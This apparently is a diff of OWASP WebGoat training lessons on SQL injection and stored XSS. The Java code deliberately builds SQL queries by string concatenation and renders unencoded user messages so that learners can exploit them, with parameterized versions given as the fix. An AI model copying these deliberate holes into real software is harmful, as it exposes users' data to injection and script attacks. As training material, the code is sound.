hints.add(WebGoatI18N.get("SqlModifyDataHint1")); hints.add(WebGoatI18N.get("SqlModifyDataHint1"));
hints.add(WebGoatI18N.get("SqlModifyDataHint2")); hints.add(WebGoatI18N.get("SqlModifyDataHint2"));
hints.add(WebGoatI18N.get("SqlModifyDataHint3")); hints.add(WebGoatI18N.get("SqlModifyDataHint3"));
hints.add(WebGoatI18N.get("SqlModifyDataHint4")); hints.add(WebGoatI18N.get("SqlModifyDataHint4"));
hints.add(WebGoatI18N.get("SqlModifyDataHint5")); hints.add(WebGoatI18N.get("SqlModifyDataHint5"));
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(77); private final static Integer DEFAULT_RANKING = new Integer(77);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DatabaseFieldScreen object * Gets the title attribute of the DatabaseFieldScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Modify Data with SQL Injection"); return ("Modify Data with SQL Injection");
} }
/** /**
* Gets the instructions attribute of the SqlInjection object * Gets the instructions attribute of the SqlInjection object
@ -236,31 +236,31 @@ public class SqlModifyData extends SequentialLessonAdapter
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = "The form below allows a user to view salaries associated with a userid " String instructions = "The form below allows a user to view salaries associated with a userid "
+ "(from the table named <b>salaries</b>). This form" + "(from the table named <b>salaries</b>). This form"
+ " is vulnerable to String SQL Injection. In order to pass this lesson, use SQL Injection to " + " is vulnerable to String SQL Injection. In order to pass this lesson, use SQL Injection to "
+ "modify the salary for userid <b>" + "modify the salary for userid <b>"
+ TARGET_USERID + "</b>."; + TARGET_USERID + "</b>.";
return (instructions); return (instructions);
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
} catch (Exception e)
{
// System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
} }
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
} catch (Exception e)
{
// System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}
} }

View File

@ -57,299 +57,299 @@ import org.owasp.webgoat.util.WebGoatI18N;
*/ */
public class SqlNumericInjection extends SequentialLessonAdapter public class SqlNumericInjection extends SequentialLessonAdapter
{ {
private final static String STATION_ID = "station"; private final static String STATION_ID = "station";
private String station; private String station;
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
return injectableQuery(s); return injectableQuery(s);
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
return parameterizedQuery(s); return parameterizedQuery(s);
} }
protected Element injectableQuery(WebSession s) protected Element injectableQuery(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
ec.addElement(makeStationList(s)); ec.addElement(makeStationList(s));
String query; String query;
station = s.getParser().getRawParameter(STATION_ID, null); station = s.getParser().getRawParameter(STATION_ID, null);
if (station == null) if (station == null)
{ {
query = "SELECT * FROM weather_data WHERE station = [station]"; query = "SELECT * FROM weather_data WHERE station = [station]";
} }
else else
{ {
query = "SELECT * FROM weather_data WHERE station = " + station; query = "SELECT * FROM weather_data WHERE station = " + station;
} }
ec.addElement(new PRE(query)); ec.addElement(new PRE(query));
if (station == null) return ec; if (station == null) return ec;
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
try try
{ {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last(); results.last();
// If they get back more than one row they succeeded // If they get back more than one row they succeeded
if (results.getRow() > 1) if (results.getRow() > 1)
{ {
makeSuccess(s); makeSuccess(s);
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
StringBuffer msg = new StringBuffer(); StringBuffer msg = new StringBuffer();
msg.append(WebGoatI18N.get("NumericSqlInjectionSecondStage")); msg.append(WebGoatI18N.get("NumericSqlInjectionSecondStage"));
s.setMessage(msg.toString()); s.setMessage(msg.toString());
} }
} }
else else
{ {
ec.addElement(WebGoatI18N.get("NoResultsMatched")); ec.addElement(WebGoatI18N.get("NoResultsMatched"));
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected Element parameterizedQuery(WebSession s) protected Element parameterizedQuery(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(WebGoatI18N.get("NumericSqlInjectionSecondStage2")); ec.addElement(WebGoatI18N.get("NumericSqlInjectionSecondStage2"));
// if ( s.getParser().getRawParameter( ACCT_NUM, "101" ).equals("restart")) // if ( s.getParser().getRawParameter( ACCT_NUM, "101" ).equals("restart"))
// { // {
// getLessonTracker(s).setStage(1); // getLessonTracker(s).setStage(1);
// return( injectableQuery(s)); // return( injectableQuery(s));
// } // }
ec.addElement(new BR()); ec.addElement(new BR());
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(makeStationList(s)); ec.addElement(makeStationList(s));
String query = "SELECT * FROM weather_data WHERE station = ?"; String query = "SELECT * FROM weather_data WHERE station = ?";
station = s.getParser().getRawParameter(STATION_ID, null); station = s.getParser().getRawParameter(STATION_ID, null);
ec.addElement(new PRE(query)); ec.addElement(new PRE(query));
if (station == null) return ec; if (station == null) return ec;
try try
{ {
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, Integer.parseInt(station)); statement.setInt(1, Integer.parseInt(station));
ResultSet results = statement.executeQuery(); ResultSet results = statement.executeQuery();
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last(); results.last();
// If they get back more than one row they succeeded // If they get back more than one row they succeeded
if (results.getRow() > 1) if (results.getRow() > 1)
{ {
makeSuccess(s); makeSuccess(s);
} }
} }
else else
{ {
ec.addElement(WebGoatI18N.get("NoResultsMatched")); ec.addElement(WebGoatI18N.get("NoResultsMatched"));
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
} catch (NumberFormatException npe) } catch (NumberFormatException npe)
{ {
ec.addElement(new P().addElement(WebGoatI18N.get("ErrorParsingAsNumber") + npe.getMessage())); ec.addElement(new P().addElement(WebGoatI18N.get("ErrorParsingAsNumber") + npe.getMessage()));
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected Element makeStationList(WebSession s) throws SQLException, ClassNotFoundException protected Element makeStationList(WebSession s) throws SQLException, ClassNotFoundException
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement(WebGoatI18N.get("SelectYourStation"))); ec.addElement(new P().addElement(WebGoatI18N.get("SelectYourStation")));
Map<String, String> stations = getStations(s); Map<String, String> stations = getStations(s);
Select select = new Select(STATION_ID); Select select = new Select(STATION_ID);
Iterator<String> it = stations.keySet().iterator(); Iterator<String> it = stations.keySet().iterator();
while (it.hasNext()) while (it.hasNext())
{ {
String key = (String) it.next(); String key = (String) it.next();
select.addElement(new Option(key).addElement((String) stations.get(key))); select.addElement(new Option(key).addElement((String) stations.get(key)));
} }
ec.addElement(select); ec.addElement(select);
ec.addElement(new P()); ec.addElement(new P());
Element b = ECSFactory.makeButton(WebGoatI18N.get("Go!")); Element b = ECSFactory.makeButton(WebGoatI18N.get("Go!"));
ec.addElement(b); ec.addElement(b);
return ec; return ec;
} }
/** /**
* Gets the stations from the db * Gets the stations from the db
* *
* @return A map containing each station, indexed by station number * @return A map containing each station, indexed by station number
*/ */
protected Map<String, String> getStations(WebSession s) throws SQLException, ClassNotFoundException protected Map<String, String> getStations(WebSession s) throws SQLException, ClassNotFoundException
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
Map<String, String> stations = new TreeMap<String, String>(); Map<String, String> stations = new TreeMap<String, String>();
String query = "SELECT DISTINCT station, name FROM WEATHER_DATA"; String query = "SELECT DISTINCT station, name FROM WEATHER_DATA";
try try
{ {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
results.beforeFirst(); results.beforeFirst();
while (results.next()) while (results.next())
{ {
String station = results.getString("station"); String station = results.getString("station");
String name = results.getString("name"); String name = results.getString("name");
// <START_OMIT_SOURCE> // <START_OMIT_SOURCE>
if (!station.equals("10001") && !station.equals("11001")) if (!station.equals("10001") && !station.equals("11001"))
{ {
stations.put(station, name); stations.put(station, name);
} }
// <END_OMIT_SOURCE> // <END_OMIT_SOURCE>
} }
results.close(); results.close();
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
sqle.printStackTrace(); sqle.printStackTrace();
} }
return stations; return stations;
} }
/** /**
* Gets the category attribute of the SqNumericInjection object * Gets the category attribute of the SqNumericInjection object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
/** /**
* Gets the hints attribute of the DatabaseFieldScreen object * Gets the hints attribute of the DatabaseFieldScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("SqlNumericInjectionHint1")); hints.add(WebGoatI18N.get("SqlNumericInjectionHint1"));
hints.add(WebGoatI18N.get("SqlNumericInjectionHint2")); hints.add(WebGoatI18N.get("SqlNumericInjectionHint2"));
hints.add(WebGoatI18N.get("SqlNumericInjectionHint3")); hints.add(WebGoatI18N.get("SqlNumericInjectionHint3"));
hints.add(WebGoatI18N.get("SqlNumericInjectionHint4")); hints.add(WebGoatI18N.get("SqlNumericInjectionHint4"));
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(70); private final static Integer DEFAULT_RANKING = new Integer(70);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DatabaseFieldScreen object * Gets the title attribute of the DatabaseFieldScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Numeric SQL Injection"); return ("Numeric SQL Injection");
} }
/** /**
* Constructor for the DatabaseFieldScreen object * Constructor for the DatabaseFieldScreen object
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
*/ */
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
super.handleRequest(s); super.handleRequest(s);
} catch (Exception e) } catch (Exception e)
{ {
// System.out.println("Exception caught: " + e); // System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);
} }
} }
} }

View File

@ -53,224 +53,224 @@ import org.owasp.webgoat.util.WebGoatI18N;
*/ */
public class SqlStringInjection extends SequentialLessonAdapter public class SqlStringInjection extends SequentialLessonAdapter
{ {
private final static String ACCT_NAME = "account_name"; private final static String ACCT_NAME = "account_name";
private static String STAGE = "stage"; private static String STAGE = "stage";
private String accountName; private String accountName;
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
return injectableQuery(s); return injectableQuery(s);
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
return parameterizedQuery(s); return parameterizedQuery(s);
} }
protected Element injectableQuery(WebSession s) protected Element injectableQuery(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(makeAccountLine(s)); ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'"; String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
ec.addElement(new PRE(query)); ec.addElement(new PRE(query));
try try
{ {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last(); results.last();
// If they get back more than one user they succeeded // If they get back more than one user they succeeded
if (results.getRow() >= 6) if (results.getRow() >= 6)
{ {
makeSuccess(s); makeSuccess(s);
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
StringBuffer msg = new StringBuffer(); StringBuffer msg = new StringBuffer();
msg.append(WebGoatI18N.get("StringSqlInjectionSecondStage")); msg.append(WebGoatI18N.get("StringSqlInjectionSecondStage"));
s.setMessage(msg.toString()); s.setMessage(msg.toString());
} }
} }
else else
{ {
ec.addElement(WebGoatI18N.get("NoResultsMatched")); ec.addElement(WebGoatI18N.get("NoResultsMatched"));
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected Element parameterizedQuery(WebSession s) protected Element parameterizedQuery(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(WebGoatI18N.get("StringSqlInjectionSecondStage")); ec.addElement(WebGoatI18N.get("StringSqlInjectionSecondStage"));
if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart")) if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart"))
{ {
getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1"); getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
return (injectableQuery(s)); return (injectableQuery(s));
} }
ec.addElement(new BR()); ec.addElement(new BR());
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(makeAccountLine(s)); ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM user_data WHERE last_name = ?"; String query = "SELECT * FROM user_data WHERE last_name = ?";
ec.addElement(new PRE(query)); ec.addElement(new PRE(query));
try try
{ {
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.setString(1, accountName); statement.setString(1, accountName);
ResultSet results = statement.executeQuery(); ResultSet results = statement.executeQuery();
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last(); results.last();
// If they get back more than one user they succeeded // If they get back more than one user they succeeded
if (results.getRow() >= 6) if (results.getRow() >= 6)
{ {
makeSuccess(s); makeSuccess(s);
} }
} }
else else
{ {
ec.addElement(WebGoatI18N.get("NoResultsMatched")); ec.addElement(WebGoatI18N.get("NoResultsMatched"));
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected Element makeAccountLine(WebSession s) protected Element makeAccountLine(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement(WebGoatI18N.get("EnterLastName"))); ec.addElement(new P().addElement(WebGoatI18N.get("EnterLastName")));
accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name"); accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name");
Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString()); Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString());
ec.addElement(input); ec.addElement(input);
Element b = ECSFactory.makeButton(WebGoatI18N.get("Go!")); Element b = ECSFactory.makeButton(WebGoatI18N.get("Go!"));
ec.addElement(b); ec.addElement(b);
return ec; return ec;
} }
/** /**
* Gets the category attribute of the SqNumericInjection object * Gets the category attribute of the SqNumericInjection object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
/** /**
* Gets the hints attribute of the DatabaseFieldScreen object * Gets the hints attribute of the DatabaseFieldScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("SqlStringInjectionHint1")); hints.add(WebGoatI18N.get("SqlStringInjectionHint1"));
hints.add(WebGoatI18N.get("SqlStringInjectionHint2")); hints.add(WebGoatI18N.get("SqlStringInjectionHint2"));
hints.add(WebGoatI18N.get("SqlStringInjectionHint3")); hints.add(WebGoatI18N.get("SqlStringInjectionHint3"));
hints.add(WebGoatI18N.get("SqlStringInjectionHint4")); hints.add(WebGoatI18N.get("SqlStringInjectionHint4"));
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(75); private final static Integer DEFAULT_RANKING = new Integer(75);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DatabaseFieldScreen object * Gets the title attribute of the DatabaseFieldScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("String SQL Injection"); return ("String SQL Injection");
} }
/** /**
* Constructor for the DatabaseFieldScreen object * Constructor for the DatabaseFieldScreen object
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
*/ */
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
super.handleRequest(s); super.handleRequest(s);
} catch (Exception e) } catch (Exception e)
{ {
// System.out.println("Exception caught: " + e); // System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);
} }
} }
} }

View File

@ -58,315 +58,315 @@ import org.owasp.webgoat.util.WebGoatI18N;
*/ */
public class StoredXss extends LessonAdapter public class StoredXss extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
private final static String MESSAGE = "message"; private final static String MESSAGE = "message";
private final static int MESSAGE_COL = 3; private final static int MESSAGE_COL = 3;
private final static String NUMBER = "Num"; private final static String NUMBER = "Num";
private final static int NUM_COL = 1; private final static int NUM_COL = 1;
private final static String STANDARD_QUERY = "SELECT * FROM messages"; private final static String STANDARD_QUERY = "SELECT * FROM messages";
private final static String TITLE = "title"; private final static String TITLE = "title";
private final static int TITLE_COL = 2; private final static int TITLE_COL = 2;
private static int count = 1; private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
// message // message
/** /**
* Adds a feature to the Message attribute of the MessageBoardScreen object * Adds a feature to the Message attribute of the MessageBoardScreen object
* *
* @param s * @param s
* The feature to be added to the Message attribute * The feature to be added to the Message attribute
*/ */
protected void addMessage(WebSession s) protected void addMessage(WebSession s)
{ {
try try
{ {
String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, "")); String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, ""));
String message = s.getParser().getRawParameter(MESSAGE, ""); String message = s.getParser().getRawParameter(MESSAGE, "");
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
String query = "INSERT INTO messages VALUES (?, ?, ?, ?, ? )"; String query = "INSERT INTO messages VALUES (?, ?, ?, ?, ? )";
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, count++); statement.setInt(1, count++);
statement.setString(2, title); statement.setString(2, title);
statement.setString(3, message); statement.setString(3, message);
statement.setString(4, s.getUserName()); statement.setString(4, s.getUserName());
statement.setString(5, this.getClass().getName()); statement.setString(5, this.getClass().getName());
statement.execute(); statement.execute();
} catch (Exception e) } catch (Exception e)
{ {
// ignore the empty resultset on the insert. There are a few more SQL Injection errors // ignore the empty resultset on the insert. There are a few more SQL Injection errors
// that could be trapped here but we will let them try. One error would be something // that could be trapped here but we will let them try. One error would be something
// like "Characters found after end of SQL statement." // like "Characters found after end of SQL statement."
if (e.getMessage().indexOf("No ResultSet was produced") == -1) if (e.getMessage().indexOf("No ResultSet was produced") == -1)
{ {
s.setMessage(WebGoatI18N.get("CouldNotAddMessage")); s.setMessage(WebGoatI18N.get("CouldNotAddMessage"));
} }
e.printStackTrace(); e.printStackTrace();
} }
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
addMessage(s); addMessage(s);
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(makeInput(s)); ec.addElement(makeInput(s));
ec.addElement(new HR()); ec.addElement(new HR());
ec.addElement(makeCurrent(s)); ec.addElement(makeCurrent(s));
ec.addElement(new HR()); ec.addElement(new HR());
ec.addElement(makeList(s)); ec.addElement(makeList(s));
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the StoredXss object * Gets the category attribute of the StoredXss object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.XSS; return Category.XSS;
} }
/** /**
* Gets the hints attribute of the MessageBoardScreen object * Gets the hints attribute of the MessageBoardScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("StoredXssHint1")); hints.add(WebGoatI18N.get("StoredXssHint1"));
hints.add(WebGoatI18N.get("StoredXssHint1")); hints.add(WebGoatI18N.get("StoredXssHint1"));
hints.add(WebGoatI18N.get("StoredXssHint1")); hints.add(WebGoatI18N.get("StoredXssHint1"));
hints.add(WebGoatI18N.get("StoredXssHint1")); hints.add(WebGoatI18N.get("StoredXssHint1"));
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(100); private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the MessageBoardScreen object * Gets the title attribute of the MessageBoardScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Stored XSS Attacks"); return ("Stored XSS Attacks");
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeCurrent(WebSession s) protected Element makeCurrent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
int messageNum = s.getParser().getIntParameter(NUMBER, 0); int messageNum = s.getParser().getIntParameter(NUMBER, 0);
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
// edit by Chuck Willis - Added logic to associate similar usernames // edit by Chuck Willis - Added logic to associate similar usernames
// The idea is that users chuck-1, chuck-2, etc will see each other's messages // The idea is that users chuck-1, chuck-2, etc will see each other's messages
// but not anyone elses. This allows users to try out XSS to grab another user's // but not anyone elses. This allows users to try out XSS to grab another user's
// cookies, but not get confused by other users scripts // cookies, but not get confused by other users scripts
String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ? and lesson_type = ?"; String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ? and lesson_type = ?";
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.setString(1, getNameroot(s.getUserName()) + "%"); statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setInt(2, messageNum); statement.setInt(2, messageNum);
statement.setString(3, this.getClass().getName()); statement.setString(3, this.getClass().getName());
ResultSet results = statement.executeQuery(); ResultSet results = statement.executeQuery();
if ((results != null) && results.first()) if ((results != null) && results.first())
{ {
ec.addElement(new H1(WebGoatI18N.get("MessageContentsFor")+": " + results.getString(TITLE_COL))); ec.addElement(new H1(WebGoatI18N.get("MessageContentsFor")+": " + results.getString(TITLE_COL)));
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR(new TD(new B(new StringElement(WebGoatI18N.get("Title")+":")))); TR row1 = new TR(new TD(new B(new StringElement(WebGoatI18N.get("Title")+":"))));
row1.addElement(new TD(new StringElement(results.getString(TITLE_COL)))); row1.addElement(new TD(new StringElement(results.getString(TITLE_COL))));
t.addElement(row1); t.addElement(row1);
String messageData = results.getString(MESSAGE_COL); String messageData = results.getString(MESSAGE_COL);
TR row2 = new TR(new TD(new B(new StringElement(WebGoatI18N.get("Message")+":")))); TR row2 = new TR(new TD(new B(new StringElement(WebGoatI18N.get("Message")+":"))));
row2.addElement(new TD(new StringElement(messageData))); row2.addElement(new TD(new StringElement(messageData)));
t.addElement(row2); t.addElement(row2);
// Edited by Chuck Willis - added display of the user who posted the message, so // Edited by Chuck Willis - added display of the user who posted the message, so
// that // that
// if users use a cross site request forgery or XSS to make another user post a // if users use a cross site request forgery or XSS to make another user post a
// message, // message,
// they can see that the message is attributed to that user // they can see that the message is attributed to that user
